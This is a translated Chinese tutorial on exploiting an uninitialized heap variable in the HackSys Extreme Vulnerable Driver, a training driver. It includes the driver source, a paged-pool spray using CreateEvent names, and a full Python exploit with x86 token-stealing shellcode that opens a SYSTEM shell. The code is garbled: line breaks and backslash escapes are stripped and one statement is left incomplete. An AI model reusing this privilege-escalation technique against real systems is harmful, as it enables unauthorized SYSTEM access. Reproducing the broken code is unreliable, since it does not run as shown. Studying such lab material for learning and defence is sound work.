Windows內核漏洞利用教程 第7部分:未初始化的堆變數

前言

關於 windows 內核漏洞利用教程,玉涵已經將fuzzysecurity

上的那部分翻譯完畢, 是很好的學習資料。 因為之前翻譯了 池風水那篇文章,發現作者又接著更新了幾篇,所以就簡單地翻譯了一下本篇文章,學習一下。

概述

在上一篇文章中,我們研究了未初始化的棧變數漏洞。在這篇教程中,我們會討論類似的一個漏洞,未初始化的堆變數。在這篇教程,我們會修改分頁池,以便控制流可以指向我們的shellcode。

另外,對於hacksysteam的驅動程序表示萬分感謝!

分析

首先,我們先分析一下UninitializedHeapVariable.c文件:

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {ULONG_PTR UserValue = 0;ULONG_PTR MagicValue = 0xBAD0B0B0;NTSTATUS Status = STATUS_SUCCESS;PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;PAGED_CODE();__try {// Verify if the buffer resides in user modeProbeForRead(UserBuffer,sizeof(UNINITIALIZED_HEAP_VARIABLE),(ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));// Allocate Pool chunkUninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)ExAllocatePoolWithTag(PagedPool,sizeof(UNINITIALIZED_HEAP_VARIABLE),(ULONG)POOL_TAG);if (!UninitializedHeapVariable) {// Unable to allocate Pool chunkDbgPrint("[-] Unable to allocate Pool chunk
");Status = STATUS_NO_MEMORY;return Status;}else {DbgPrint("[+] Pool Tag: %s
", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Type: %s
", STRINGIFY(PagedPool));DbgPrint("[+] Pool Size: 0x%X
", sizeof(UNINITIALIZED_HEAP_VARIABLE));DbgPrint("[+] Pool Chunk: 0x%p
", UninitializedHeapVariable);}// 獲取用戶態傳進來的值UserValue = *(PULONG_PTR)UserBuffer;DbgPrint("[+] UserValue: 0x%p
", UserValue);DbgPrint("[+] UninitializedHeapVariable Address: 0x%p
", &UninitializedHeapVariable);// 驗證幻數值if (UserValue == MagicValue) {UninitializedHeapVariable->Value = UserValue;UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;// 使用`AAAAA...AA`填充緩存區RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);// Null 終止 char 緩衝區UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = ;}#ifdef SECUREelse {DbgPrint("[+] Freeing UninitializedHeapVariable Object
");DbgPrint("[+] Pool Tag: %s
", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Chunk: 0x%p
", UninitializedHeapVariable);// 釋放分配的 Pool chunkExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);// 安全提醒: 因為開發者將`UninitializedHeapVariable`的值設為`NULL`,並且在調用`callback`前檢查空指針,所以是安全的。// 設為空以避免懸掛指針UninitializedHeapVariable = NULL;}#else// 漏洞提醒: 因為開發者在調用`callback`函數前,沒有初始化指針的值,所以會導致一個未初始化的堆變數漏洞。DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability
");#endif// 調用`callback`函數if (UninitializedHeapVariable) {DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p
", UninitializedHeapVariable->Value);DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p
", UninitializedHeapVariable->Callback);UninitializedHeapVariable->Callback();}}__except (EXCEPTION_EXECUTE_HANDLER) {Status = GetExceptionCode();DbgPrint("[-] Exception Code: 0x%X
", Status);}return Status;}

代碼雖然看著比較長,但是還是容易理解的。使用pool chunk 的 地址初始化 變數UninitializedHeapVariable,如果UserValue等於Magic的話,那麼一切都沒有問題,valuecallback欄位也可以被正確地初始化,然後程序在調用callback函數前會檢查變數是否被初始化。但是,如果不相等的話會怎麼樣呢?從代碼來看,很明顯編譯的是SECURE版本, 變數UninitializedHeapVariable會被置為NULL, 所以在if 聲明中,不會調用callback函數。而如果是編譯為不安全版本的話,則沒有類似這樣的檢查措施,然後會callback 未初始化的變數,從而導致出現漏洞。

(譯註:secure 編譯相關的一些選項問題,可以參見微軟的官方文檔)

接著,我們來看一下在UninitializedHeapVariable.h 中_UNINITIALIZED_HEAP_VARIABLE結構體是如何定義的:

typedef struct _UNINITIALIZED_HEAP_VARIABLE {ULONG_PTR Value;FunctionPointer Callback;ULONG_PTR Buffer[58];} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

可以看到,上面的結構體中定義了3個成員變數,第二個是一個函數指針類型的變數,命名為callback,如果我們能想方設法地控制pool chunk上的數據的話,我們就能夠控制UninitializedHeapVariable結構體和 callback函數。

可以在IDA中清楚地看到:

並且, IOCTL號為 0x222033

利用

和前幾篇一樣,繼續使用我們的腳本框架:

import ctypes, sys, structfrom ctypes import *from subprocess import *def main():kernel32 = windll.kernel32psapi = windll.Psapintdll = windll.ntdllhevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)if not hevDevice or hevDevice == -1:print "*** Couldnt get Device Driver handle"sys.exit(-1)buf = "xb0xb0xd0xba"bufLength = len(buf)kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)if __name__ == "__main__":main()

成功傳遞參數,沒有發生異常,我們試下傳遞一些其他的UserValue,看看會發生什麼。

可以看到出現了異常,並且Callback函數的地址似乎並非一個有效值,現在可以開始寫exploit了。

這裡最大的問題就是通過用戶空間可以控制的數據來修改分頁池,而我們可以使用的一個介面是Named Objects。如果你記得以前那篇關於 池風水文章的話,就會想起我們曾使用[CreateEvent](https://msdn.microsoft.com/pl-pl/library/windows/desktop/ms682396(v=vs.85).aspx)對象來修改Lookaside鏈表:

HANDLE WINAPI CreateEvent(_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,_In_ BOOL bManualReset,_In_ BOOL bInitialState,_In_opt_ LPCTSTR lpName);

這裡最重要的一點是,即使event對象本身被分配給非分頁池,最後那個LPCTSTR類型的參數lpName實際上也是在分頁池中分配的。並且,我們實際上可以定義它的內容和長度。

這裡還有幾點需要注意:

  • 我們修改 的Lookaside 鏈表會在系統啟動兩分鐘後延遲激活。

    (譯註:原文為:We』d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.

    不過,我沒太理解這是什麼意思,希望懂的大神給解釋下。)
  • Lookaside鏈表的最大塊長是 0x20, 它只能管理256 個塊,之外的塊由ListHead負責管理。
  • 我們需要分配256個相同大小的對象,然後釋放它們。如果Lookaside鏈表不能完成分配的話,會從ListHead鏈表中接著分配。
  • 我們需要確保每次調用對象構造函數時對象名稱的字元串都是隨機的,因為如果將相同的字元串傳遞給對象構造函數的連續調用的話,那麼只有一個Pool chuck將被用於所有進一步的請求。
  • 我們還需要確保我們的lpName不應該包含任何NULL字元,因為這會改變lpName的長度,導致exploit利用失敗。

我們給lpName分配 0xF0 的大小, 頭部大小為 0x8 ,一共是0xF8 位元組的塊,shellcode來源於之前的教程中。

我們最終的exploit 如下:

import ctypes, sys, structfrom ctypes import *from subprocess import *def main():spray_event = []kernel32 = windll.kernel32psapi = windll.Psapintdll = windll.ntdllhevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)if not hevDevice or hevDevice == -1:print "*** Couldnt get Device Driver handle"sys.exit(-1)# 定義 ring0級的 shellcode, 使用 VirtualProtect() 函數 該表內存區域屬性。c# 地址中不能包含Null 字元,否則exp 會失效。shellcode = ("x90x90x90x90" # NOP Sled"x60" # pushad"x64xA1x24x01x00x00" # mov eax, fs:[KTHREAD_OFFSET]"x8Bx40x50" # mov eax, [eax + EPROCESS_OFFSET]"x89xC1" # mov ecx, eax (Current _EPROCESS structure)"x8Bx98xF8x00x00x00" # mov ebx, [eax + TOKEN_OFFSET]"xBAx04x00x00x00" # mov edx, 4 (SYSTEM PID)"x8Bx80xB8x00x00x00" # mov eax, [eax + FLINK_OFFSET]"x2DxB8x00x00x00" # sub eax, FLINK_OFFSET"x39x90xB4x00x00x00" # cmp [eax + PID_OFFSET], edx"x75xED" # jnz"x8Bx90xF8x00x00x00" # mov edx, [eax + TOKEN_OFFSET]"x89x91xF8x00x00x00" # mov [ecx + TOKEN_OFFSET], edx"x61" # popad"xC3" # ret)shellcode_address = id(shellcode) + 20shellcode_address_struct = struct.pack("<L", shellcode_address)print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address))success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long()))if success == 0x0:print " [+] Failed to change memory protection."sys.exit(-1)#定義 lpName 的靜態部分, 大小為 0xF0, 根據 shellcode 的 地址 和 動態部分作出調整。static_lpName = "x41x41x41x41" + shellcode_address_struct + "x42" * (0xF0-4-8-4)# 分配 256 個 相同大小的 CreateEvent 對象print "
[+] Spraying Event Objects..."for i in xrange(256):dynamic_lpName = str(i).zfill(4)spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName)))if not spray_event[i]:print " [+] Failed to allocate Event object."sys.exit(-1)# 釋放 CreateEvent 對象print "
[+] Freeing Event Objects..."for i in xrange(0, len(spray_event), 1):if not kernel32.CloseHandle(spray_event[i]):print " [+] Failed to close Event object."sys.exit(-1)buf = x37x13xd3xbabufLength = len(buf)kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None)print "
[+] nt authoritysystem shell incoming"Popen("start cmd", shell=True)if __name__ == "__main__":main()

最終獲得系統管理員許可權:

更多乾貨內容,請關注看雪學院公眾號ikanxue!

本文由看雪翻譯小組 fyb波 編譯,來源@rootkits blog 轉載請註明來自看雪社區


推薦閱讀:

怎麼在windows上用keynote演示?
為什麼 Windows 7 的雙屏擴展顯示用於兩個解析度不同的顯示器時,總有一個顯示器的桌面壁紙顯示不正常?
為什麼很多人都驚訝我在Macbook上安裝並使用Windows?
有比ghost好用的分區備份嗎?
如何評價《慕尼黑:Linux帶我們到地獄 將在2020年全面擁抱Windows》?

TAG:MicrosoftWindows | Windows內核 | 漏洞挖掘 |